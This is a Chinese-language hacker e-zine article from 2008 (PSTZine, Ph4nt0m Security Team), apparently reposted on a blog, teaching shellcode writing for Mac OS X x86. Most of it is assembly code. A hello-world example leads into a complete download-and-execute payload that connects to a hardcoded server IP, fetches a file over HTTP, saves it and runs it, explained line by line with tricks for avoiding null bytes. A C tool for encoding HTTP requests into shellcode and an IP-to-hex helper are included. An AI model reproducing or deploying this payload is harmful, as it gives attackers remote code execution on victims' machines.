2008年3月25日星期二

[PSTZine 0x01][0x05][Shellcode For Mac OSX x86 Tips]

==Ph4nt0m Security Team==

Issue 0x01, Phile #0x05 of 0x06


|=-----------------------------------------------------------------------=|
|=-------------=[ Shellcode For Mac OSX (x86) Tips ]=--------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ By noop ]=--------------------------=|
|=------------=[ wo0wo0noop_at_gmail_dot_com ]=--------=|
|=-----------------------------------------------------------------------=|

一、hello, world

Mac OSX 目前的版本是10.5.1,其内核是基于bsd的,文件格式是自有的macho格式。市面上新的机器都是x86构架。

Mac系统对系统调用的处理与freebsd是一致的,都是通过堆栈传递函数参数。

这里举个最简单的例子来说明问题:

--------------------华丽的分割开始-----------------

global  start
start:
xor             eax,eax

jmp 
short       string

code:
pop             esi
push 
byte       15
push            esi
push 
byte       1
push            eax
mov             al,
4
int             0x80

push            eax
mov             al,
1
int             0x80

string:
call code
db      
'Hello!, world!',0x0a

-----------------华丽的分割结束---------------

这是一个蛮简单的hello world,和*nix一样可以使用jmp call方法,这里做些简单的描述,照顾一下各种读者。
global start
默认是使用start的,而不是_start。
xor    eax,eax
对eax清零,
jmp 
short    string
跳转到string,
string:
call code
db    
'Hello!, world!',0x0a
这里call会把下一行压入栈,接下来会用到,注意结尾的0xa。
code:
pop    esi  
//指向 hello!,word!
push byte    15  //参数入栈,长度
push    esi        //buf指针
push byte    1   //fd
push     eax        //这里是和linux稍有区别的地方,注意要多压一个寄存器入栈
mov    al,4        //write的系统调用号
int    0x80       

push            eax
mov             al,
1
int             0x80

同样道理,调用exit退出。

这里有个技巧:我们可以利用之前入栈但是没出栈的那个eax作为一个参数,所以在上一个系统调用的时候,可以考虑为下一个系统调用准备参数。

nasm编译的时候注意指定-f macho。

二、 http-download & execute

一般fbsd的shellcode到处都有的,根据Mac OSX的系统调用的变动稍作修改就可以用了。

这里我在linux shellcode的基础上改写了一个http下载执行的shellcode,这是通过底层函数实现的,而非Mac提供的封装后的调用,相对而言比较少见。

------------------------华丽的分割线开始------------------
global start
start:
xor             ecx,ecx
xor             eax,eax
cdq
push            eax
push 
byte       0x01
push 
byte       0x02
push            eax
mov             al,
97
int             0x80
xchg            edi,eax

push            
0x8380217d
mov             ebp, 
0xaffffffd
not             ebp
push            ebp
mov             eax, esp
push 
byte       0x10
push            eax
push            edi
xor             eax,eax
mov             al,
98
push            eax
int             0x80

push 
byte       0x41
mov             ebx, esp
mov             ebp, 
0xfffffdfd
not             ebp
push            ebp
push            ebx
mov             al,
5
push            eax
int             0x80
xchg            esi, ebx
xchg            ebx, eax

sendq:
push            
0x0a0d0a0d
push            
0x302e312f
push            
0x50545448
push            
0x20657865
push            
0x2e636c61
push            
0x632f2f2f
push            
0x20544547
mov             ecx, esp
push 
byte       0x1c
push            ecx
push            edi
mov             al,
0x4

_request:
push 
byte       0x1
int             0x80

_wait:
dec             ecx
push            ecx
push            edi
xor             eax,eax
mov             al,
0x3
push 
byte       0x1
int             0x80
mov             eax,[ecx]
cmp             eax,
0xd0a0d0a
jne             _wait
xor             eax, eax

_read:
push            ecx
push            edi
mov             al,
3

_write:
push 
byte       0x1
int             0x80
test            eax,eax
je              close_file
push            ecx
push            ebx
mov             al,
4
push 
byte       0x1
int             0x80
jmp             _read

close_file:
push            ebx
xor             eax,eax
push            eax
mov             al,
6
int             0x80

execv:
mov             ebx,esi
push            eax
push            ebx
mov             al,
59
push            eax
int             0x80

---------------------华丽的分割线结束----------------

这里我们是构造一个http的请求,然后下载到本地存为A,然后执行。

详细的分部分解释:

global start
start:
xor             ecx,ecx
xor             eax,eax
cdq
清零寄存器
push            eax
push 
byte       0x01
push 
byte       0x02
push            eax
mov             al,
97
int             0x80
系统调用socket
int socket(int domain, int type, int protocol);
参数反顺序入栈,另外额外push了一个eax。
xchg            edi,eax
将返回的句柄存入edi,保存备用。
以下是connect系统调用:
push            
0x8380217d
下载的服务器IP地址,可以通过工具生成,如果有0就要合理取反了。
mov             ebp, 
0xaffffffd
not             ebp
通过取反,避免产生0
push            ebp
mov             eax, esp
构建一个sockaddr结构指针
push 
byte       0x10
push            eax
push            edi
参数依次入栈
xor             eax,eax
mov             al,
98
push            eax
int             0x80
通过connect系统调用建立连接。
push 
byte       0x41
mov             ebx, esp
mov             ebp, 
0xfffffdfd
not             ebp
push            ebp
push            ebx
mov             al,
5
push            eax
int             0x80
xchg            esi, ebx
xchg            ebx, eax
通过open系统调用打开一个文件句柄,文件名为A,如果不存在,会自动创建。这里需要注意的是要将open(
const char *path, int oflag, )中第一个参数保留下来。所以在系统调用之后,有这么两句:
xchg        esi, ebx
xchg        ebx, eax
*path,也就是ebx保存到esi中,另外将返回的句柄保存到ebx中。
sendq:
push            
0x0a0d0a0d
push            
0x302e312f
push            
0x50545448
push            
0x20657865
push            
0x2e636c61
push            
0x632f2f2f
push            
0x20544547
mov             ecx, esp
push 
byte       0x1c
这一段构建http请求,以及计算请求的长度(
0x1c),都可以通过一个小工具生成,并且会自动对齐。
push            ecx
push            edi
之前保存的句柄edi
mov             al,
0x4
_request:
push 
byte       0x1
int             0x80
通过write系统调用发送请求
_wait:
dec             ecx
push            ecx
push            edi
xor             eax,eax
mov             al,
0x3
push 
byte       0x1
int             0x80
通过调用write读取服务器返回的信息
mov             eax,[ecx]
cmp             eax,
0xd0a0d0a
判断是否出现0d0a0d0a来判断是否开始到数据段,是的话往下执行。
jne             _wait
否则的话跳回_wait标签继续读取
xor             eax, eax
清零eax,为下面的小循环做准备
_read:
push            ecx
push            edi
mov             al,
3

_write:
push 
byte       0x1
int             0x80
test            eax,eax
je              close_file
push            ecx
push            ebx
mov             al,
4
push 
byte       0x1
int             0x80
jmp             _read
这里通过巧妙地构建一个je,来判断每次读取以后是否到达文件尾部,是的话就关闭文件,否则则继续写入。
close_file:
push            ebx
xor             eax,eax
push            eax
mov             al,
6
int             0x80
通过调用close来关闭文件,ebx是之前保存的句柄。
execv:
mov             ebx,esi
push            eax
push            ebx
mov             al,
59
push            eax
int             0x80


通过execv系统调用来执行下载的文件。

在写这样子很长,很多系统调用的shellcode的时候,有几点值得注意:

1.尽量利用上一个系统调用最后push的那个不会出栈的“无用”内容作为下一个系统调用的参数;

2.如果出现0,可以通过取反来规避;

3.注意保存系统调用的返回值到合适的寄存器;

4.注意文件生成的权限。

这个shellcode只是一个范例,大家想写很复杂的shellcode的时候,不妨从这种类型开始。

三、几个相关工具:

1.生成http请求的工具,来自tty64.

/*
 * gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes
 *
 * SIZES:
 *
 *      HTTP/1.0 header request size - 18 bytes+
 *      HTTP/1.1 header request size - 26 bytes+
 *
 * NOTE: The length of the selected HTTP header is stored at EDX register.
 *       Thus the generated MOV instruction (to EDX/DX/DL) is size-based.
 *
 * - izik@tty64.org
 
*/

#include 
<stdio.h>
#include 
<stdlib.h>
#include 
<unistd.h>
#include 
<stdarg.h>
#include 
<string.h>

#define X86_PUSH \
        
0x68

#define X86_MOV_TO_DL(x) \
        printf(
"\t\"\\xb2\\x%02x\"\n", x & 0xFF);

#define X86_MOV_TO_DX(x) \
        printf(
"\t\"\\x66\\xba\\x%02x\\x%02x\"\n", \
        (x 
& 0xFF), ((x >> 8& 0xFF));

#define X86_MOV_TO_EDX(x) \
        printf(
"\t\"\\xba\\x%02x\\x%02x\\x%02x\\x%02x\"\n", \
        (x 
& 0xFF), ((x >> 8& 0xFF), ((x >> 16& 0xFF), ((x >> 24& 0xFF));

void usage(char *);
int printx(char *fmt, );

int main(int argc, char **argv) {

        
if (argc < 2) {
                usage(argv[
0]);
                
return -1;
        }

        
if (argv[2][0!= '/') {

                fprintf(stderr, 
"filename must begin with '/' as any sane URL! (e.g. /index.html)\n");

                
return -1;
        }

        
if (!strcmp(argv[1], "-0")) {

                
return printx("GET %s HTTP/1.0\r\n\r\n", argv[2]);
        }

        
if (!strcmp(argv[1], "-1")) {

                
if (argc != 4) {

                        fprintf(stderr, 
"missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)\n");

                        
return -1;
                }

                
return printx("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", argv[2], argv[3]);
        }

        fprintf(stderr, 
"%s: unknown http protocol, try -0 or -1\n", argv[1]);

        
return -1;
}

/*
 * usage, display usage screen
 * * basename, barrowed argv[0]
 
*/

void usage(char *basename) {

        printf(
                
"usage: %s <-0|-1> <filename> [<host>]\n\n"
                
"\t -0, HTTP/1.0 GET request\n"
                
"\t -1, HTTP/1.1 GET request\n"
                
"\t <filename>, given filename (e.g. /shellcode.bin)\n"
                
"\t <host>, given hostname (e.g. www.tty64.org) [required for HTTP 1.1]\n\n",
                basename);

        
return ;
}

/*
 * printx, fmt string. generate the shellcode chunk
 * * fmt, given format string
 
*/

int printx(char *fmt, ) {
        va_list ap;
        
char buf[256], pad_buf[4], *w_buf;
        
int pad_length, buf_length, i, tot_length;

        memset(buf, 
0x0sizeof(buf));

        va_start(ap, fmt);
        vsnprintf(buf, 
sizeof(buf), fmt, ap);
        va_end(ap);

        buf_length 
= strlen(buf);

        printf(
"\nURL: %s\n", buf);
        printf(
"Header Length: %d bytes\n", buf_length);

        
for (i = 1; buf_length > (i * 4); i++) {
                pad_length 
= ((i+1)*4- buf_length;
        }

        printf(
"Padding Length: %d bytes\n\n", pad_length);

        tot_length 
= buf_length + pad_length;

        w_buf 
= buf;

        
if (pad_length) {

                w_buf 
= calloc(tot_length, sizeof(char));

                
if (!w_buf) {

                        perror(
"calloc");
                        
return -1;
                }

                i 
= index(buf, '/'- buf;

                memset(pad_buf, 
0x2fsizeof(pad_buf));

                memcpy(w_buf, buf, i);
                memcpy(w_buf
+i, pad_buf, pad_length);
                memcpy(w_buf
+pad_length+i, buf+i, buf_length - i);
        }

        
for (i = tot_length - 1; i > -1; i-=4) {

                printf(
"\t\"\\x%02x\\x%02x\\x%02x\\x%02x\\x%02x\" // pushl $0x%02x%02x%02x%02x\n",
                        X86_PUSH, w_buf[i
-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]);
        }

        
if (pad_length) {

                free(w_buf);
        }

        
//
        
// The EDX register is assumed to be zero-out within the shellcode.
        
//

        
if (tot_length < 256) {

                
// 8bit value

                X86_MOV_TO_DL(tot_length);

        } 
else if (tot_length < 655356) {

                
// 16bit value

                X86_MOV_TO_DX(tot_length);

        } 
else {

                
// 32bit value, rarely but possible ;-)

                X86_MOV_TO_EDX(tot_length);

        }

        fputc(
'\n', stdout);

        
return 1;
}
}


2. 生成十六进制ip地址的工具。
/*
* one minite coding by noop
*/
#include
<netinet/in.h>
#include
<arpa/inet.h>
#include
<stdio.h>

int main(int argc,char **argv)
{
    
struct in_addr ip;
    unsigned 
int addr;

    
if(argc != 2)
    {
        fprintf(stderr,
"Usage 128.0.0.9\n");
        
return 1;
    }

    inet_aton(argv[
1],&ip);

    printf(
"0x%x\n",ntohl(ip.s_addr) );

    
return 0;
}


四、总结。

这些东西也不属于我完全原创,很多东西都是从前辈那学习二来,总结了些一些经验,提供了一些范例,希望对研究Mac系统的朋友有所帮助。

另外还有一个小技巧,比较懒的人,可以考虑写一个小程序来读取macho文件中的代码部分,自动转换成shellcode,比较省力。相关资料请参考Mac的文件格式文档,我就不提供代码了,写这么个东西也不困难。

有什么问题,欢迎在幻影的邮件列表提出,我平时不怎么收邮箱的邮件,所以,单独发邮件的可能看不到。


参考文档:
[1] b-r00t's Smashing the Mac for Fun & Profit
http://www.milw0rm.com/papers/44
[2] Mac OS X PPC Shellcode Tricks -
http://www.uninformed.org/?v=1&a=1&t=pdf
[3] Mac OS X wars - a XNU Hope
http://www.phrack.org/issues.html?issue=64&id=11#article
[4] Mach-O Runtime
http://developer.apple.com/documentation/DeveloperTools/ ...
Conceptual/MachORuntime/MachORuntime.pdf
[5] Ilja's blackhat talk -
http://www.blackhat.com/presentations/bh-europe-05/ ...
BH_EU_05-Klein_Sprundel.pdf
[6] Radical Environmentalists by Netric -
http://packetstormsecurity.org/groups/netric/envpaper.pdf
[7] Non eXecutable Stack Lovin on OSX86 -
http://www.digitalmunition.com/NonExecutableLovin.txt
[8] Mach-O Infection -
http://felinemenace.org/~nemo/slides/mach-o_infection.ppt
[9] Infecting Mach-O Fies
http://vx.netlux.org/lib/vrg01.html
[10] class-dump
http://www.codethecode.com/Projects/class-dump/
[11] Architecture Spanning Shellcode -
http://www.phrack.org/archives/57/p57-0x17

没有评论: